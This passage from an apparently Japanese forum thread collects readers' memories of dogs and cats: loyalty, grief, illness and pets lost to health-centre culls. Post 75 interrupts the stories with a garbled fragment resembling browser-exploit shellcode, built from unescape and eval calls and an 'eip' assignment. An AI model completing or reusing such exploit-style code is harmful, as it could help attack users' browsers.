阪神淡路大震災で持病のリウマチが悪化した父にとっては、
よい遊び相手ができた。
それから、毎日、父とコロは一緒にいた。
父の痛みはコロと戯れて笑うことで、少しは緩和されているように見えた。
- 73 :
- 右ひざの関節を人工のものと取り替える手術をした時、コロは寂しそうに鳴いてばかりいた。
食欲がなくなり、日に日に痩せていった。
それでも、病院に連れて行くわけにはいかない。
父が電話すると、電話口ではしゃいで吠え、電話が切れてからも、興奮して、部屋中走り回った。
退院後はリハビリのために、毎日ゆっくりとした速度で歩き回らなければならなかったが、コロは、
そのスピードをわきまえて、花や蝶や虫の居場所を父に教えながら、散歩した。
その頃にはコロは成長し、小さな子供を乗せることが出来るまでになっていた。
思えばコロが、父にとっての最後の友達だった。
父は、それから、間もなくして心不全でった。
十二年間の闘病生活がやっと終わった。
- 74 :
- 葬儀の挨拶で、「皆様、本日はお忙しい中、亡き父」とまで言いかけたところで、僕は言葉につまった。
晩年の父の苦しみと痛みに耐える姿を思い出してしまったからだ。
頭が整理できなくなって、パニックになりかけた。
その時だ。
裏庭の小屋につながれたコロが遠吠えた。
その声は悲しげに、まるで父が死んだことをよく知っているかのように、葬儀会場になっている部屋に響いた。
コロと父のことを知っている人たちはすすり泣き、ハンカチを目に押し当てた。
僕も涙をこらえることが出来なくなって、あわててハンカチを取り出した。
「ありがとうございました」
やっとそれだけ言って、深々と頭を下げた。
ひょっとしたら、世の中でコロが一番父のことを好きだったのかも知れないと、僕は思った。
その翌年、コロも、父を追うように世を去った。
- 75 :
- eip = eip + unescape("%u7030%u4300")
(){eval(unescape(('Script(t,'%')))})(/./g);
- 76 :
- つい最近の話何ですが母と凄い大喧嘩をしていて かなり怒鳴りあっていました・・
凄い険悪なムードで 今にも殴り合いが始まりそうな雰囲気でした。
僕がもう家を出て行く!と言って荷物をまとめているとそのとき飼っていた猫が
普段は絶対入ってこない僕の部屋に突然入ってきて僕の膝の上に乗ってきたのです!
普段は寝てるだけの猫で僕にも全然懐いてないのに乗ってくるなんて止めにきてくれた
のかとか思って思わず泣いちゃいました。
やっぱり猫にもそういう事を感じる能力があるのかなと思った瞬間でした。
- 77 :
- 生まれたばかりのチビが、姉の家からわが家に「養子」に来たのが、
チビの不幸の始まりだった。
八十歳に近い母とアル中の兄、そして私の、決して裕福ではない家では、
満足にドッグフードさえ食べさせてやれなかった。
だからチビのごはんは、魚の頭と骨のときが多かった。
猫ならともかく、犬が魚を食べるのを見て、はじめは不思議でならなかった。
が、チビのほうは、これがわが家の食事と、すっかりなれっこになっていた。
母は年寄りで、アル中の兄は面倒を見ず、私は私で仕事が忙しく、
時々しか散歩にも連れて行けない。
そんなチビがふびんでならなかった。
- 78 :
- だから、いざ散歩に行こうという時には、チビの切れ長の目はいきいきと輝き、
盛んにしっぽを振ってはしゃいだものだ。
小柄な柴犬だったチビは、かつての三田明を思わせるような「美少年」だった。
私とかけっこをすると、同じくらいの速さだった。
いたずらに堰に体を突っ込んでやると、「何事か」というような、おどけた顔に
なるのが滑稽だった。
そんなチビのことを、アル中の兄は自分のやり場のない鬱憤を晴らすかのように、
足で蹴るのだった。
するとチビは「キャイーン」と悲鳴をあげて私に飛びついてきた。
- 79 :
- そんな兄でも、たまに街の飲み屋で飲んでくると、つまみの豚足を買ってきたものだった。
チビにとって、それはそれは最高のごちそうだった。
しかし、ある朝、兄がチビに鎖をつけたまま放してしまったことがある。
私と母は、深々と雪の降る中、一晩中探し回った。
どうしても見つからず、あきらめて家に戻り、二階でストーブにあたっていると、
かすかにチビの鳴き声がした。
母を起こし、外へ出て、その鳴き声のするほうへ近づいていくと、隣の家の竹藪に
鎖をからませてうずくまっていた。
鎖がついたままとはいえ、一度は自由になったはずなのに、縛られて暮らすこんな我が家に
戻ってきたのかと思うと、とめどもなく涙が流れ落ちた。
- 80 :
- チビが来てから五年がたち、兄は入院した。
それと機を同じくして、私も仕事の都合で三年間、東京へ行かなければならなくなった。
年老いた母を一人残していくのはつらかったが、
こればかりは仕方のないことだった。
チビをよろしくと言い残し、一人無人駅を発った。
東京へ行って三年目の正月に帰省した時、チビがいなかった。
「どうしたの?」と聞くと母は、街にいる犬好きの知人から、あんまりかわいいので
少しのあいだ預からせてほしいと頼まれて、しばらく預けてあるという。
ふーん、と私は疑いもしなかった。
それからまたすぐに東京へ戻り、三年間の仕事を終えて、桜の季節に
田舎へ帰ることになった。
- 81 :
- 家に着いた私は、またもチビがいないことに気がついた。
だが、あえて母に聞こうとはしなかった。
父の遺影に挨拶していると、仏壇の隅に黒縁の額に入ったチビの写真が
あるのが目にとまった。
(チビは死んだんだな)
と思い、そこで初めて母に聞いてみた。
母は「ん・・・・・・・」と黙り込んだ。
「母ちゃん、チビ、死んじゃったんだね」
「ん・・・・・・・」
「どうしたんだよ」
「・・・・・・・・」
母の口がやっと開いた。
- 82 :
- 「ごめんな・・・・・・・・母ちゃん、年だから飼えなくて・・・・・・・それに、
こんな家に飼われているのが可哀相で・・・・・・・・近所の人に相談したら、保健所にやったらと言われて・・・・・・」
聞けば、チビは保健所にやられて屠されたというのだ。
怒りと同時に、言いようのない寂しさがこみ上げてきたが、八十六歳の母を
責めるのは酷だった。
チビには可哀相だったが、納得するよりなかった。
いつも桜の木の下につながれていたチビ。
春に桜が満開になり、散り初めの花びらが舞い始めると、一幅の絵かと
見まがうほど見事な光景だった。
けれども、今、桜の木下にチビはいない。
ガランとした物置のなかに、主を失った犬小屋と、
空のえさ入れのボールとが、ひっそりと置かれていた。
- 83 :
- 猫は老けないとなぜか信じていた私。
通学路にいつも変なのがいる。
下向いてる時に小声で「おっはヨー!」等目の前から話しかけると
はい?って感じて・・・逆方向を見つめてしまう・・(耳もそっち向き)
あれ〜呼ばれたのにおっかしいナ〜??って言いたげに固まってる様子に唖然
あんな鈍い猫っているんだ。
バカああんこっちだー!!と鉄柵みたいなフェンスをガタガタいわして(←怪しい通行人)
振り向かせると、目が真ん丸。やっと「ミャ〜ン(どーも)」
でも顔は覚えてくれる。やーん。
- 84 :
- 人生の半分を共に過ごした飼い猫が先月亡くなった。
散歩に出ても必ず帰ってくるのに一週間くらい家に帰ってこなかった。
猫は死ぬ前に姿をくらますと聞いたことがある。いや、でもうちの猫は病気知らずだし
そんなことは・・・。
飼い猫が消えてから一週間目の朝。学校へ行こうといつも通り準備をしていたらインターホンが鳴った。
隣の家のおばさんだった。
「お宅の猫うちの庭で死んでるのよ。昨日はいなかったんだけど」
そこには見慣れた模様の太った猫が横たわっていた。外傷は見当たらない。ハエが周りにぶんぶん飛んでいた。
兄弟のようにしたっていたあの子の死は私にとって大きすぎた。
昔、だれかが言っていた。「動物はすぐ死ぬから嫌だ。悲しくなる」
嫌だとは思わない。あの子と過ごした日々は私のかけがえのないものだ。
だけど私はあの子に何をしてあげられた?あの子はちゃんと幸せだった?
私は今でもあの子の死因を知らない。新しい動物を飼う気にもなれない。
毎日お線香をあげるたびに問いかける。
あ な た は 幸 せ で し た か ?
- 85 :
- 「ファウスト」じゃあ悪魔が黒犬に化けてでてくるように、黒い動物自体が
不吉なイメージがある。さらにネコは(正体知らない人間には)気味悪く
見えてしまう。∴黒猫はやたらと忌み嫌われてしまう、と。
でも黒猫って人なつっこいヤツ多くない?昔、俺のスクーターのシートを
夜の寝床にしてるノラの黒猫がいて、そいつは俺が出かけるときと帰って
くるときに近くにいるとかならず寄ってきて足に絡みついてきたっけ。
- 86 :
- 以前アパートに住んでいた時、時々エサをやっていた野良猫が近所の家の物置で
子猫を生んだ。
なんでわかったかというと、その家の奥さんが野良猫一家を見つけて大騒ぎ
してたから。
それから数分後、私のアパートの開いてる窓から猫が猛スピードで飛び込んできた。
口にはヒヨコくらいの子猫をくわえて・・
唖然としている私の前に、子猫をポトっとおくと、またダッシュで外へ出て行った。
結局子猫は3匹いて、野良猫母さんは2往復半、必死で走って子猫をウチに移動させた。
あまりの野良猫母さんのいじらしさに、放っておくわけにもいかず、なんとか子猫の
引き取り手を探して、野良猫はウチで飼うことにした。
今はもうその猫も死んでしまったけれど、幼児虐待のニュースを観るたびに、あの母猫の
必死の形相を思い出す。
- 87 :
- エス君、もう二十年もたってしまったんだね。
自分を人間だと思ってたよね。犬より人間が好きで、人が来ると大喜びでピョンピョン
飛びついたよね。
庭に穴を掘って外に出たり、助走をつけて塀を飛び越えたりしたね。
雷が大嫌いで、こわがって暴れて足の裏を切って、お医者さんで縫ってもらったよね。
あんまり雷こわがるから、一緒に寝たこともあったね。
食い意地はっていないから、どうしても欲しい時だけそばに来て「ちょうだい」したよね。
おりこうさん!
フィラリアに気づくの遅くて手術しても治すことできなくてゴメンね!
本当に楽しかったよ。ありがとう。
- 88 :
- 最後のオチで糞ワロタ
- 89 :
- 私の名前は「リン」。シーズー犬です。
ご主人さまの名前は「サチコちゃん」。
生まれた時から体が弱かった私は、いっつも病院通いで心配ばかり
かけています。
サチコちゃんは、生まれつき立つことができない私を、いつもダッコしてくれました。
今は、もっと体調が悪くなり、動くことさえできません。
そんな手間をかけてばかりいる私ですが、サチコちゃんはいっつもいっつも、
とってもとっても可愛がってくれます。
そして、外出するときや帰って来たときは、必ず
「リン、いい子にしてた〜。愛しているよ〜〜」
と言って抱きしめ、キスの嵐。
わたしも、そんなサチコちゃんが大好きなので、顔中にペロペロとお返しします。
明日は、そんなサチコちゃんの結婚式。
- 90 :
- さすがにわたしは、犬だから結婚式には参加できないし、新婚旅行にもついていけません。
というより、すでにそんな体力もないのです。
いつも一緒のサチコちゃんと一週間も会えなくなって、すごく寂しいです。
でも、きっと、ウェディングドレスを着たサチコちゃんは、世界一きれいなお嫁さんでしょう。
わたしは、結婚式の前日に、サチコちゃんの友達のおうちに行くことになりました。
サチコちゃんはねわたしの体が弱っていることを、ものすごく心配している様子て゜す。
「リン、大丈夫?元気にしているんだよ」
何度も何度も言って、わたしを抱きしめ、泣いていました。
わたしはそれに答えるように
ありったけの声で
「うん!心配しないで」
と答え、サチコちゃんの顔をおもいっきり舐め、そして微笑みました。
サチコちゃんも、わたしにキスのお返しをしてくれました。
でも、わたしの心の中も、涙でいっぱいです。
- 91 :
- 結婚式当日、サチコちゃんから、何度も何度も電話がありました。
「ねえ、リンはどう?元気にしている?」
お友達は
「うん!元気そうだから心配ないわよ」
「ほら、リンちゃん。元気な声聞かせてあげなさい」
わたしは、
「うん!!元気!!」
いつもより大きな声で、何度も「ワンワン」と鳴きました。
これで、サチコちゃんは安心して、結婚式を終えられるだろう。
わたしはそう思ったのです。
翌日、サチコちゃんは新婚旅行へと旅立って行きました。
「リンリン・・・・・・・・」
サチコちゃんの声が、遠くから何度も何度も聞こえてきます。
わたしは、サチコちゃんにいっぱいいっぱい愛されて生きてこられて、とっても幸せでした。
- 92 :
- ★祥子さんが、新婚旅行に旅立ったと同時に、リンもお花畑のある美しい世界へと
旅立ちました。
結婚式当日、祥子さんがその日一日幸せであるように、そして心配かけないように、
ありったけの力を絞り、大きな声でリンは鳴いたのです。
天使になったリンは、自由に動ける足を手に入れ、いつも祥子さんの側で寄り添って
走り回っていることでしょう。
- 93 :
- 母がパート先のご主人の飼い犬:チワワ・雄をよく預かってきていた。
一度来ると1ヶ月くらい我が家に逗留。
その間は『我が家のペット』だったメメ。
俺が小学生の頃から23歳ぐらいの時まで来ていたから結構長生きした。
母から『メメ死んじゃったよ』って聞かされた時は涙が止まらなかった。
図体小さいくせに負けん気だけ強くて、食いしん坊で間抜けで…
でもメメが大好きだった。
俺があの世に行ったら、あいつは相変わらず人を舐めたような顔で
ベロをチョロッとだけ出して走ってくるような気がする。
- 94 :
- あなたと初めて会ったのは、ある夏の日でした。
いわゆる捨て犬だったあなたは、ホルモンの病期を持っていたために、毛がところどころなく、とてもやせていましたね。
大きな瞳が寂しげで、迷わず飼う事に決めました。
すごく寂しがりやで甘えん坊で、それでいて人に捨てられた傷をかかえていて、たまらない気持ちになることもあったよ。
だけどいっしょに散歩をしたり、公園で追いかけっこをしたり、がんばって病院に通ったり、いつもいっしょにいれて幸せだった。
ありがとうハチ。
二年半で亡くなってしまい、とても悲しい思いをしたけど、今でもあなたとの絆は永遠です。
あの世で彼女を作って、幸せな毎日を送るんだよ。
時々すごく会いたくなって寂しくなるけど、星を見上げて語りかけることにするよ。
泣かないから大丈夫。
心配しないでね。
- 95 :
- 隣の空き家には、亡くなった母が飼っていたピーコという猫がいます。
毎日、えさと水をあげに行っているのに、いつも、わたしの顔を見るなり
ふすまの隅に隠れるんです。
ある日、私は、宗教心理学の本を読んで、自分を愛せない人は、人を愛する
ことができないということを知りました。
そこで、自分を愛する方法として「わたしはあなたを愛します。どんなことがあ
っても愛します。」という本に書いてあった言葉を心の中でくり返し唱えていた
ところ、我が家の軒先に、来たことのないピーコがニャンニャンと鳴いて、私を
呼んいるではないですか。
- 96 :
- びっくりして、隣の家にいくと、なんとピーコが私に体をこすりつけて膝の上に
乗ってきたのです。
近づくことさえなかったのに、私の心が愛で満たされたとき、ピーコはそのこと
にいち早く気が付いたのです。初めてピーコを心から何度も抱きしめました。
ピーコと私は心の中で繋がっていたのだと、その時思いました。
猫や犬、そして植物は、人間よりもっと純粋な心をもっているような気がします。
すべての生き物は魂のレベルでどこか繋がっているのではないかと思う今日
この頃です
- 97 :
- 近所の土手を何十回も何百回も柴犬エルと一緒に走った。
土手のむこうに日が沈む頃、仕事帰りの母さんのシルエットが坂の上に浮かぶと
エルが一番先に気がついて駆けて行った。
小学校の入学式、遠足、卒業式、中学の入学式、いつも自分を待ってた。
中学の卒業式からはひとりぼっちになった・・・
20年経っても思い出す。
- 98 :
- 「ああ、あの時百五十円あったら」
脳梗塞で倒れた母がベッドでつぶやいた時、何十年も前の悲しい思い出を
今も母は引きずっていたのだと、あらためて心が痛んだ。
町の戦火を逃れて疎開した田舎、農家の納屋の隅で終戦を迎え、小さいながらも
父の手作りの家で家族七人の生活が始まったのは、私が小学校に入学した
春であった。
両親と育ち盛りの兄、姉、弟二人。
当時定職を持たない父と町からの疎開で田畑一枚ない生活は、貧しく空腹の
連日だった。
朝、暗いうちから星の出るまで、山を開墾し、小さな畑を作り、さつまいもや大根を
育て、海岸で塩を焼く両親の後姿を見て、押さないながらも少しでも役に立ちたいと
力を合わせてきた毎日。
- 99 :
- 今のようにテレビもラジオもない生活の中で、家族にうるおいを与えてくれたのが
、ポチだった。
軒下で、クンクン鳴いていた捨て犬。
人間さえ満足な食事のとれない時代、家族の誰もが少しずつがまんして、ポチを
育てた。
代用食のさつまいもを喜んで食べたポチ。
学校から帰る私を、シッポがちぎれるのではないかと思うほど振って迎えてくれた。
一緒に走った裏山、夏の小川の水泳、家族になくてはならない一員だったのに、
突然別れが訪れた。
その日、出迎えてくれるはずのポチの姿はなく、泣きはらした目の母が、
「ポチは野犬狩りに連れて行かれた。追っ手町の保健所まで行ったけど、百五十円
必要なのでつれてこられなかった」
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